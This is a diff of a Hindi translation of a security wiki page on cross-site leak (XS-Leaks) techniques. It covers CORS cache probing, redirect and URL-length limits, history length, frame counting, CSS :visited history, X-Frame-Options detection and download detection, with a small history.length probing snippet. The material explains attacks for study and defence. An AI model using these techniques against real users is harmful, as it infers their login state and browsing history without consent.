- **कोड उदाहरण**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
यदि **मूल हेडर** को **परावर्तित** किया जा रहा है हेडर `Access-Control-Allow-Origin` में, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **CORS** मोड में **संसाधन को लाने** की कोशिश कर सकता है। यदि **त्रुटि** **ट्रिगर नहीं होती है**, तो इसका मतलब है कि इसे **वेब से सही तरीके से प्राप्त किया गया था**, यदि त्रुटि **ट्रिगर होती है**, तो इसका मतलब है कि इसे **कैश से एक्सेस किया गया था** (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक CORS हेडर के साथ प्रतिक्रिया को सहेजता है जो मूल डोमेन की अनुमति देता है और हमलावर के डोमेन की नहीं)**।\
|
||||
यदि **मूल हेडर** को **परावर्तित** किया जा रहा है हेडर `Access-Control-Allow-Origin` में, तो एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है **CORS** मोड में **संसाधन को लाने** के लिए। यदि कोई **त्रुटि** **ट्रिगर नहीं होती है**, तो इसका मतलब है कि इसे **वेब से सही तरीके से प्राप्त किया गया था**, यदि कोई त्रुटि **ट्रिगर होती है**, तो इसका मतलब है कि इसे **कैश से एक्सेस किया गया था** (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक प्रतिक्रिया को CORS हेडर के साथ बचाता है जो मूल डोमेन की अनुमति देता है और हमलावर के डोमेन की नहीं)**।\
|
||||
ध्यान दें कि यदि मूल परावर्तित नहीं होता है लेकिन एक वाइल्डकार्ड का उपयोग किया जाता है (`Access-Control-Allow-Origin: *`), तो यह काम नहीं करेगा।
|
||||
|
||||
## पठनीय विशेषताएँ तकनीक
|
||||
@ -566,7 +566,7 @@ CORP हेडर एक अपेक्षाकृत नया वेब प
|
||||
- **सारांश:** GC और SA पुनर्निर्देश समाप्त होने के बाद प्रतिक्रिया के प्रकार (opaque-redirect) की जांच करने की अनुमति देते हैं।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
`redirect: "manual"` और अन्य पैरामीटर के साथ Fetch API का उपयोग करके एक अनुरोध सबमिट करते समय, यह संभव है कि `response.type` विशेषता को पढ़ा जाए और यदि यह `opaqueredirect` के बराबर है, तो प्रतिक्रिया एक पुनर्निर्देश थी।
|
||||
`redirect: "manual"` और अन्य पैरामीटर के साथ Fetch API का उपयोग करके एक अनुरोध सबमिट करते समय, यह `response.type` विशेषता को पढ़ना संभव है और यदि यह `opaqueredirect` के बराबर है, तो प्रतिक्रिया एक पुनर्निर्देश थी।
|
||||
|
||||
### COOP
|
||||
|
||||
@ -583,33 +583,33 @@ CORP हेडर एक अपेक्षाकृत नया वेब प
|
||||
- **शामिल करने के तरीके**: Fetch API, HTML तत्व
|
||||
- **पता लगाने में अंतर**: स्थिति कोड / सामग्री
|
||||
- **अधिक जानकारी**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **सारांश:** पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना क्योंकि यह बहुत बड़ी हो सकती है कि सर्वर एक त्रुटि के साथ पुनः खेलता है और एक अलर्ट उत्पन्न होता है।
|
||||
- **सारांश:** पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाएं, जो इतनी बड़ी हो सकती है कि सर्वर त्रुटि के साथ पुनः खेलता है और एक अलर्ट उत्पन्न होता है।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
यदि सर्वर-साइड पुनर्निर्देश **पुनर्निर्देश में उपयोगकर्ता इनपुट** और **अतिरिक्त डेटा** का उपयोग करता है। इस व्यवहार का पता लगाना संभव है क्योंकि सामान्यतः **सर्वर** के पास **सीमित अनुरोध लंबाई** होती है। यदि **उपयोगकर्ता डेटा** **लंबाई - 1** है, क्योंकि **पुनर्निर्देश** **उस डेटा** का उपयोग कर रहा है और **कुछ अतिरिक्त जोड़ रहा है**, तो यह **त्रुटि को ट्रिगर करेगा जिसे त्रुटि घटनाओं के माध्यम से पता लगाया जा सकता है**।
|
||||
यदि सर्वर-साइड पुनर्निर्देश **पुनर्निर्देशन में उपयोगकर्ता इनपुट** और **अतिरिक्त डेटा** का उपयोग करता है। इस व्यवहार का पता लगाना संभव है क्योंकि सामान्यतः **सर्वर** की **सीमा अनुरोध लंबाई** होती है। यदि **उपयोगकर्ता डेटा** वह **लंबाई - 1** है, क्योंकि **पुनर्निर्देश** उस **डेटा** का उपयोग कर रहा है और **कुछ अतिरिक्त जोड़ रहा है**, तो यह **त्रुटि को ट्रिगर करेगा जिसे त्रुटि घटनाओं के माध्यम से पता लगाया जा सकता है**।
|
||||
|
||||
यदि आप किसी तरह उपयोगकर्ता को कुकीज़ सेट कर सकते हैं, तो आप इस हमले को **पर्याप्त कुकीज़ सेट करके** भी कर सकते हैं ([**कुकी बम**](hacking-with-cookies/cookie-bomb.md)) ताकि **सही प्रतिक्रिया** के **बढ़े हुए आकार** के साथ एक **त्रुटि** ट्रिगर हो। इस मामले में, याद रखें कि यदि आप इस अनुरोध को एक ही साइट से ट्रिगर करते हैं, तो `<script>` स्वचालित रूप से कुकीज़ भेजेगा (ताकि आप त्रुटियों की जांच कर सकें)।\
|
||||
**कुकी बम + XS-Search** का एक उदाहरण इस लेखन के इरादे के समाधान में पाया जा सकता है: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
**कुकी बम + XS-Search** का एक उदाहरण इस लेख के इरादे के समाधान में पाया जा सकता है: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` या एक ही संदर्भ में होना इस प्रकार के हमले के लिए सामान्यतः आवश्यक है।
|
||||
`SameSite=None` या एक ही संदर्भ में होना इस प्रकार के हमले के लिए आमतौर पर आवश्यक है।
|
||||
|
||||
### URL अधिकतम लंबाई - क्लाइंट साइड
|
||||
|
||||
- **शामिल करने के तरीके**: पॉप-अप
|
||||
- **पता लगाने में अंतर**: स्थिति कोड / सामग्री
|
||||
- **अधिक जानकारी**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **सारांश:** पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना क्योंकि यह एक अनुरोध के लिए बहुत बड़ी हो सकती है कि एक भिन्नता का पता लगाया जा सके।
|
||||
- **सारांश:** पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाएं, जो एक अनुरोध के लिए बहुत बड़ी हो सकती है कि एक भिन्नता का पता लगाया जा सके।
|
||||
- **कोड उदाहरण**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
[Chromium दस्तावेज़](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।
|
||||
|
||||
> सामान्यतः, _वेब प्लेटफ़ॉर्म_ URL की लंबाई पर कोई सीमा नहीं रखता है (हालांकि 2^31 एक सामान्य सीमा है)। _Chrome_ व्यावहारिक कारणों और अंतःप्रक्रिया संचार में सेवा से इनकार की समस्याओं से बचने के लिए URLs को अधिकतम लंबाई **2MB** तक सीमित करता है।
|
||||
|
||||
इसलिए यदि **पुनर्निर्देश URL का उत्तर एक मामले में बड़ा है**, तो इसे **2MB से बड़ा URL** के साथ पुनर्निर्देशित करना संभव है ताकि **लंबाई सीमा** को हिट किया जा सके। जब ऐसा होता है, तो Chrome एक **`about:blank#blocked`** पृष्ठ दिखाता है।
|
||||
इसलिए यदि **पुनर्निर्देश URL** में से एक मामले में बड़ा उत्तर दिया गया है, तो इसे **2MB से बड़ा URL** के साथ पुनर्निर्देशित करना संभव है ताकि **लंबाई सीमा** को हिट किया जा सके। जब ऐसा होता है, तो Chrome एक **`about:blank#blocked`** पृष्ठ दिखाता है।
|
||||
|
||||
**नोटिस करने योग्य अंतर** यह है कि यदि **पुनर्निर्देश** **पूर्ण** था, तो `window.origin` एक **त्रुटि** फेंकता है क्योंकि एक क्रॉस ओरिजिन उस जानकारी तक पहुंच नहीं सकता। हालाँकि, यदि **सीमा** हिट की गई थी और लोड किया गया पृष्ठ **`about:blank#blocked`** था, तो विंडो का **`origin`** उस **माता-पिता** का रहता है, जो एक **सुलभ जानकारी** है।
|
||||
|
||||
2MB तक पहुँचने के लिए आवश्यक सभी अतिरिक्त जानकारी को प्रारंभिक URL में एक **हैश** के माध्यम से जोड़ा जा सकता है ताकि इसे **पुनर्निर्देश में** उपयोग किया जा सके।
|
||||
सभी अतिरिक्त जानकारी जो **2MB** तक पहुँचने के लिए आवश्यक है, उसे प्रारंभिक URL में एक **हैश** के माध्यम से जोड़ा जा सकता है ताकि इसे **पुनर्निर्देश में** उपयोग किया जा सके।
|
||||
|
||||
{{#ref}}
|
||||
xs-search/url-max-length-client-side.md
|
||||
@ -623,7 +623,7 @@ xs-search/url-max-length-client-side.md
|
||||
- **सारांश:** URL पुनर्निर्देशों की घटना का पता लगाने के लिए ब्राउज़र के पुनर्निर्देश सीमा का उपयोग करें।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
यदि एक ब्राउज़र के लिए **अधिकतम** संख्या **पुनर्निर्देशों** का पालन करने के लिए **20** है, तो एक हमलावर **19 पुनर्निर्देशों** के साथ अपने पृष्ठ को लोड करने की कोशिश कर सकता है और अंततः **पीड़ित को** परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि एक **त्रुटि** ट्रिगर होती है, तो इसका मतलब है कि पृष्ठ **पीड़ित को पुनर्निर्देशित करने** की कोशिश कर रहा था।
|
||||
यदि एक ब्राउज़र के लिए **अनुशंसित** पुनर्निर्देशों की अधिकतम संख्या **20** है, तो एक हमलावर **19 पुनर्निर्देशों** के साथ अपने पृष्ठ को लोड करने की कोशिश कर सकता है और अंततः **पीड़ित को** परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि कोई **त्रुटि** ट्रिगर होती है, तो इसका मतलब है कि पृष्ठ **पीड़ित को पुनर्निर्देशित करने** की कोशिश कर रहा था।
|
||||
|
||||
### इतिहास लंबाई
|
||||
|
||||
@ -633,17 +633,17 @@ xs-search/url-max-length-client-side.md
|
||||
- **सारांश:** JavaScript कोड ब्राउज़र इतिहास में हेरफेर करता है और इसे लंबाई प्रॉपर्टी द्वारा एक्सेस किया जा सकता है।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**इतिहास API** JavaScript कोड को ब्राउज़र इतिहास में हेरफेर करने की अनुमति देता है, जो **उपयोगकर्ता द्वारा देखे गए पृष्ठों को सहेजता है**। एक हमलावर लंबाई प्रॉपर्टी का उपयोग एक समावेशन विधि के रूप में कर सकता है: JavaScript और HTML नेविगेशन का पता लगाने के लिए।\
|
||||
**`history.length`** की जांच करना, एक उपयोगकर्ता को **एक पृष्ठ पर नेविगेट** करना, **इसे वापस बदलना** उसी मूल पर और **`history.length`** के नए मान की जांच करना।
|
||||
**इतिहास API** JavaScript कोड को ब्राउज़र इतिहास में हेरफेर करने की अनुमति देता है, जो **एक उपयोगकर्ता द्वारा देखे गए पृष्ठों को सहेजता है**। एक हमलावर लंबाई प्रॉपर्टी का उपयोग एक शामिल करने के तरीके के रूप में कर सकता है: JavaScript और HTML नेविगेशन का पता लगाने के लिए।\
|
||||
**`history.length`** की जांच करना, एक उपयोगकर्ता को **एक पृष्ठ पर नेविगेट** करना, **इसे वापस बदलना** **समान मूल** पर और **`history.length`** के नए मान की जांच करना।
|
||||
|
||||
### समान URL के साथ इतिहास लंबाई
|
||||
|
||||
- **शामिल करने के तरीके**: फ्रेम, पॉप-अप
|
||||
- **पता लगाने में अंतर**: यदि URL अनुमानित एक के समान है
|
||||
- **सारांश:** यह अनुमान लगाना संभव है कि क्या एक फ्रेम/पॉप-अप का स्थान एक विशिष्ट URL में है, इतिहास लंबाई का दुरुपयोग करके।
|
||||
- **सारांश:** यह संभव है कि एक फ्रेम/पॉप-अप का स्थान एक विशिष्ट URL में है, इतिहास लंबाई का दुरुपयोग करके अनुमान लगाया जा सके।
|
||||
- **कोड उदाहरण**: नीचे
|
||||
|
||||
एक हमलावर JavaScript कोड का उपयोग करके **फ्रेम/पॉप-अप स्थान को अनुमानित एक पर हेरफेर कर सकता है** और **तुरंत** **इसे `about:blank` में बदल सकता है**। यदि इतिहास लंबाई बढ़ गई है, तो इसका मतलब है कि URL सही था और इसमें **बढ़ने का समय था क्योंकि यदि यह समान है तो URL को फिर से लोड नहीं किया जाता है**। यदि यह नहीं बढ़ा, तो इसका मतलब है कि यह **अनुमानित URL को लोड करने की कोशिश कर रहा था**, लेकिन क्योंकि हम **तुरंत बाद में** **`about:blank`** लोड करते हैं, **इतिहास लंबाई कभी नहीं बढ़ी** जब अनुमानित URL लोड किया गया।
|
||||
एक हमलावर JavaScript कोड का उपयोग करके **फ्रेम/पॉप-अप स्थान को अनुमानित एक पर हेरफेर कर सकता है** और **तुरंत** **इसे `about:blank` में बदल सकता है**। यदि इतिहास लंबाई बढ़ गई है, तो इसका मतलब है कि URL सही था और इसे **बढ़ने का समय मिला** क्योंकि यदि यह समान है तो URL को फिर से लोड नहीं किया जाता है। यदि यह नहीं बढ़ा, तो इसका मतलब है कि यह **अनुमानित URL को लोड करने की कोशिश की** लेकिन क्योंकि हम **तुरंत बाद में** **`about:blank`** लोड करते हैं, **इतिहास लंबाई कभी नहीं बढ़ी** जब अनुमानित URL लोड किया गया।
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -669,7 +669,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** `window.length` प्रॉपर्टी की जांच करके iframe तत्वों की मात्रा का मूल्यांकन करें।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
एक **वेब में फ्रेम की संख्या** की गणना करना जो `iframe` या `window.open` के माध्यम से खोला गया है, उपयोगकर्ता की **स्थिति को पहचानने में मदद कर सकता है**।\
|
||||
**iframe** या `window.open` के माध्यम से खोले गए एक वेब में **फ्रेम की संख्या** की गणना करना उपयोगकर्ता की **स्थिति को उस पृष्ठ पर पहचानने** में मदद कर सकता है।\
|
||||
इसके अलावा, यदि पृष्ठ में हमेशा समान संख्या में फ्रेम होते हैं, तो फ्रेम की संख्या की **निरंतर** जांच करना एक **पैटर्न** पहचानने में मदद कर सकता है जो जानकारी लीक कर सकता है।
|
||||
|
||||
इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक **PDF** को **फ्रेम गिनती** के साथ **पहचाना** जा सकता है क्योंकि आंतरिक रूप से `embed` का उपयोग किया जाता है। कुछ कंटेंट पर नियंत्रण की अनुमति देने वाले [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) हैं जैसे `zoom`, `view`, `page`, `toolbar` जहां यह तकनीक दिलचस्प हो सकती है।
|
||||
@ -686,10 +686,10 @@ HTML तत्वों के माध्यम से जानकारी
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: यह तत्व मीडिया की `duration` और `buffered` समय को प्रकट करता है, जिसे इसके API के माध्यम से एक्सेस किया जा सकता है। [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLMediaElement**: यह तत्व मीडिया के `duration` और `buffered` समय को प्रकट करता है, जिसे इसके API के माध्यम से एक्सेस किया जा सकता है। [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: यह `videoHeight` और `videoWidth` को प्रकट करता है। कुछ ब्राउज़रों में, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, और `webkitDecodedFrameCount` जैसे अतिरिक्त प्रॉपर्टीज उपलब्ध हैं, जो मीडिया सामग्री के बारे में अधिक गहन जानकारी प्रदान करते हैं। [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: यह फ़ंक्शन वीडियो प्लेबैक गुणवत्ता के बारे में विवरण प्रदान करता है, जिसमें `totalVideoFrames` शामिल है, जो वीडियो डेटा की मात्रा को इंगित कर सकता है। [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: यह तत्व एक छवि की `height` और `width` को लीक करता है। हालाँकि, यदि एक छवि अमान्य है, तो ये प्रॉपर्टीज 0 लौटाएंगी, और `image.decode()` फ़ंक्शन अस्वीकृत हो जाएगा, यह संकेत करते हुए कि छवि को ठीक से लोड करने में विफलता हुई। [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLImageElement**: यह तत्व एक छवि की `height` और `width` को लीक करता है। हालाँकि, यदि एक छवि अमान्य है, तो ये प्रॉपर्टीज 0 लौटाएंगी, और `image.decode()` फ़ंक्शन अस्वीकृत हो जाएगा, जो यह संकेत करता है कि छवि को सही तरीके से लोड करने में विफलता हुई। [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
|
||||
@ -699,7 +699,7 @@ HTML तत्वों के माध्यम से जानकारी
|
||||
- **Summary:** उपयोगकर्ता की स्थिति या स्थिति के साथ संबंधित वेबसाइट स्टाइलिंग में भिन्नताओं की पहचान करें।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
वेब अनुप्रयोग उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग को बदल सकते हैं। क्रॉस-ओरिजिन CSS फ़ाइलों को हमलावर पृष्ठ पर **HTML लिंक तत्व** के साथ एम्बेड किया जा सकता है, और **नियम** हमलावर पृष्ठ पर **लागू** किए जाएंगे। यदि एक पृष्ठ गतिशील रूप से इन नियमों को बदलता है, तो एक हमलावर उपयोगकर्ता की स्थिति के आधार पर इन **भिन्नताओं** का **पता लगा सकता है**।\
|
||||
वेब अनुप्रयोग उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग को बदल सकते हैं। क्रॉस-ओरिजिन CSS फ़ाइलों को हमलावर पृष्ठ पर **HTML लिंक तत्व** के साथ एम्बेड किया जा सकता है, और **नियम** हमलावर पृष्ठ पर **लागू** किए जाएंगे। यदि एक पृष्ठ गतिशील रूप से इन नियमों को बदलता है, तो एक हमलावर उपयोगकर्ता की स्थिति के आधार पर इन **भिन्नताओं** का **पता लगा** सकता है।\
|
||||
एक लीक तकनीक के रूप में, हमलावर `window.getComputedStyle` विधि का उपयोग करके एक विशिष्ट HTML तत्व की **CSS** प्रॉपर्टीज को **पढ़** सकता है। परिणामस्वरूप, यदि प्रभावित तत्व और प्रॉपर्टी का नाम ज्ञात है, तो एक हमलावर मनमाने CSS प्रॉपर्टीज को पढ़ सकता है।
|
||||
|
||||
### CSS History
|
||||
@ -713,11 +713,11 @@ HTML तत्वों के माध्यम से जानकारी
|
||||
> [!NOTE]
|
||||
> [**इस**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) के अनुसार, यह हेडलेस क्रोम में काम नहीं कर रहा है।
|
||||
|
||||
CSS `:visited` चयनकर्ता का उपयोग URLs को अलग तरीके से स्टाइल करने के लिए किया जाता है यदि उन्हें पहले उपयोगकर्ता द्वारा देखा गया है। अतीत में, `getComputedStyle()` विधि का उपयोग इन स्टाइल भिन्नताओं की पहचान करने के लिए किया जा सकता था। हालाँकि, आधुनिक ब्राउज़रों ने इस विधि को लिंक की स्थिति को प्रकट करने से रोकने के लिए सुरक्षा उपाय लागू किए हैं। इन उपायों में हमेशा इस तरह से गणना की गई शैली लौटाना शामिल है जैसे कि लिंक को देखा गया हो और `:visited` चयनकर्ता के साथ लागू की जा सकने वाली शैलियों को प्रतिबंधित करना शामिल है।
|
||||
CSS `:visited` चयनकर्ता का उपयोग URLs को अलग तरीके से स्टाइल करने के लिए किया जाता है यदि उन्हें पहले उपयोगकर्ता द्वारा देखा गया है। अतीत में, `getComputedStyle()` विधि का उपयोग इन स्टाइल भिन्नताओं की पहचान करने के लिए किया जा सकता था। हालाँकि, आधुनिक ब्राउज़रों ने इस विधि को लिंक की स्थिति को प्रकट करने से रोकने के लिए सुरक्षा उपाय लागू किए हैं। इन उपायों में हमेशा यह सुनिश्चित करना शामिल है कि गणना की गई शैली को इस तरह से लौटाया जाए जैसे कि लिंक को देखा गया हो और `:visited` चयनकर्ता के साथ लागू की जा सकने वाली शैलियों को प्रतिबंधित किया जाए।
|
||||
|
||||
इन प्रतिबंधों के बावजूद, यह अप्रत्यक्ष रूप से लिंक की देखी गई स्थिति को पहचानना संभव है। एक तकनीक में उपयोगकर्ता को CSS से प्रभावित क्षेत्र के साथ बातचीत करने के लिए धोखा देना शामिल है, विशेष रूप से `mix-blend-mode` प्रॉपर्टी का उपयोग करना। यह प्रॉपर्टी तत्वों को उनके पृष्ठभूमि के साथ मिश्रित करने की अनुमति देती है, संभावित रूप से उपयोगकर्ता की बातचीत के आधार पर देखी गई स्थिति को प्रकट करती है।
|
||||
इन प्रतिबंधों के बावजूद, अप्रत्यक्ष रूप से लिंक की देखी गई स्थिति को पहचानना संभव है। एक तकनीक में उपयोगकर्ता को CSS से प्रभावित क्षेत्र के साथ बातचीत करने के लिए धोखा देना शामिल है, विशेष रूप से `mix-blend-mode` प्रॉपर्टी का उपयोग करना। यह प्रॉपर्टी तत्वों को उनके पृष्ठभूमि के साथ मिश्रित करने की अनुमति देती है, संभावित रूप से उपयोगकर्ता की बातचीत के आधार पर देखी गई स्थिति को प्रकट करती है।
|
||||
|
||||
इसके अलावा, लिंक के रेंडरिंग समय का शोषण करके बिना उपयोगकर्ता की बातचीत के पहचान की जा सकती है। चूंकि ब्राउज़र देखे गए और न देखे गए लिंक को अलग-अलग रेंडर कर सकते हैं, इससे रेंडरिंग में मापने योग्य समय का अंतर उत्पन्न हो सकता है। एक प्रमाण अवधारणा (PoC) का उल्लेख एक क्रोमियम बग रिपोर्ट में किया गया था, जो इस तकनीक को कई लिंक का उपयोग करके समय के अंतर को बढ़ाने के लिए प्रदर्शित करता है, जिससे देखी गई स्थिति को समय विश्लेषण के माध्यम से पहचानना संभव हो जाता है।
|
||||
इसके अलावा, लिंक के रेंडरिंग समय का शोषण करके बिना उपयोगकर्ता की बातचीत के पहचान की जा सकती है। चूंकि ब्राउज़र देखे गए और न देखे गए लिंक को अलग-अलग रेंडर कर सकते हैं, इससे रेंडरिंग में मापने योग्य समय का अंतर उत्पन्न हो सकता है। एक प्रमाणित अवधारणा (PoC) का उल्लेख एक क्रोमियम बग रिपोर्ट में किया गया था, जो इस तकनीक को कई लिंक का उपयोग करके समय के अंतर को बढ़ाने के लिए प्रदर्शित करता है, जिससे देखी गई स्थिति को समय विश्लेषण के माध्यम से पहचानना संभव हो जाता है।
|
||||
|
||||
इन प्रॉपर्टीज और विधियों के बारे में अधिक जानकारी के लिए, उनके दस्तावेज़ पृष्ठों पर जाएँ:
|
||||
|
||||
@ -730,10 +730,10 @@ CSS `:visited` चयनकर्ता का उपयोग URLs को अ
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** Google Chrome में, जब एक पृष्ठ को X-Frame-Options प्रतिबंधों के कारण क्रॉस-ओरिजिन साइट पर एम्बेड करने से रोका जाता है, तो एक समर्पित त्रुटि पृष्ठ प्रदर्शित होता है।
|
||||
- **Summary:** Google Chrome में, जब एक पृष्ठ को क्रॉस-ओरिजिन साइट पर एम्बेड करने से रोका जाता है तो एक समर्पित त्रुटि पृष्ठ प्रदर्शित होता है, जो X-Frame-Options प्रतिबंधों के कारण होता है।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
क्रोम में, यदि `X-Frame-Options` हेडर "deny" या "same-origin" पर सेट किया गया है और इसे एक ऑब्जेक्ट के रूप में एम्बेड किया गया है, तो एक त्रुटि पृष्ठ दिखाई देता है। क्रोम इस ऑब्जेक्ट के `contentDocument` प्रॉपर्टी के लिए एक खाली दस्तावेज़ ऑब्जेक्ट (null के बजाय) लौटाता है, जो iframe या अन्य ब्राउज़रों में नहीं होता है। हमलावर इस खाली दस्तावेज़ का पता लगाकर इसका लाभ उठा सकते हैं, जो उपयोगकर्ता की स्थिति के बारे में जानकारी प्रकट कर सकता है, विशेष रूप से यदि डेवलपर्स असंगत रूप से X-Frame-Options हेडर सेट करते हैं, अक्सर त्रुटि पृष्ठों को नजरअंदाज करते हैं। जागरूकता और सुरक्षा हेडर का लगातार अनुप्रयोग ऐसे लीक को रोकने के लिए महत्वपूर्ण है।
|
||||
क्रोम में, यदि `X-Frame-Options` हेडर "deny" या "same-origin" पर सेट किया गया है और इसे एक ऑब्जेक्ट के रूप में एम्बेड किया गया है, तो एक त्रुटि पृष्ठ दिखाई देता है। क्रोम इस ऑब्जेक्ट के `contentDocument` प्रॉपर्टी के लिए एक खाली दस्तावेज़ ऑब्जेक्ट (null के बजाय) लौटाता है, जो iframe या अन्य ब्राउज़रों में नहीं होता। हमलावर इस खाली दस्तावेज़ का पता लगाकर इसका लाभ उठा सकते हैं, जो उपयोगकर्ता की स्थिति के बारे में जानकारी प्रकट कर सकता है, विशेष रूप से यदि डेवलपर्स X-Frame-Options हेडर को असंगत रूप से सेट करते हैं, अक्सर त्रुटि पृष्ठों को नजरअंदाज करते हैं। सुरक्षा हेडर के प्रति जागरूकता और सुसंगत अनुप्रयोग महत्वपूर्ण हैं ताकि ऐसे लीक को रोका जा सके।
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -743,15 +743,15 @@ CSS `:visited` चयनकर्ता का उपयोग URLs को अ
|
||||
- **Summary:** एक हमलावर iframe का लाभ उठाकर फ़ाइल डाउनलोड का पता लगा सकता है; iframe की निरंतर पहुंच सफल फ़ाइल डाउनलोड का संकेत देती है।
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
`Content-Disposition` हेडर, विशेष रूप से `Content-Disposition: attachment`, ब्राउज़र को सामग्री को डाउनलोड करने के लिए निर्देशित करता है न कि इसे इनलाइन प्रदर्शित करने के लिए। इस व्यवहार का लाभ उठाकर यह पता लगाया जा सकता है कि क्या उपयोगकर्ता के पास एक पृष्ठ तक पहुंच है जो फ़ाइल डाउनलोड को ट्रिगर करता है। क्रोमियम-आधारित ब्राउज़रों में, इस डाउनलोड व्यवहार का पता लगाने के लिए कुछ तकनीकें हैं:
|
||||
`Content-Disposition` हेडर, विशेष रूप से `Content-Disposition: attachment`, ब्राउज़र को सामग्री को इनलाइन प्रदर्शित करने के बजाय डाउनलोड करने के लिए निर्देशित करता है। इस व्यवहार का उपयोग यह पहचानने के लिए किया जा सकता है कि क्या उपयोगकर्ता के पास एक पृष्ठ तक पहुंच है जो फ़ाइल डाउनलोड को ट्रिगर करता है। क्रोमियम-आधारित ब्राउज़रों में, इस डाउनलोड व्यवहार का पता लगाने के लिए कुछ तकनीकें हैं:
|
||||
|
||||
1. **डाउनलोड बार मॉनिटरिंग**:
|
||||
- जब एक फ़ाइल क्रोमियम-आधारित ब्राउज़रों में डाउनलोड की जाती है, तो ब्राउज़र विंडो के नीचे एक डाउनलोड बार दिखाई देता है।
|
||||
- विंडो की ऊँचाई में परिवर्तनों की निगरानी करके, हमलावर डाउनलोड बार की उपस्थिति का अनुमान लगा सकते हैं, यह सुझाव देते हुए कि एक डाउनलोड शुरू किया गया है।
|
||||
2. **iframes के साथ डाउनलोड नेविगेशन**:
|
||||
- विंडो की ऊँचाई में परिवर्तनों की निगरानी करके, हमलावर डाउनलोड बार के प्रकट होने का अनुमान लगा सकते हैं, यह सुझाव देते हुए कि एक डाउनलोड शुरू किया गया है।
|
||||
2. **iframe के साथ डाउनलोड नेविगेशन**:
|
||||
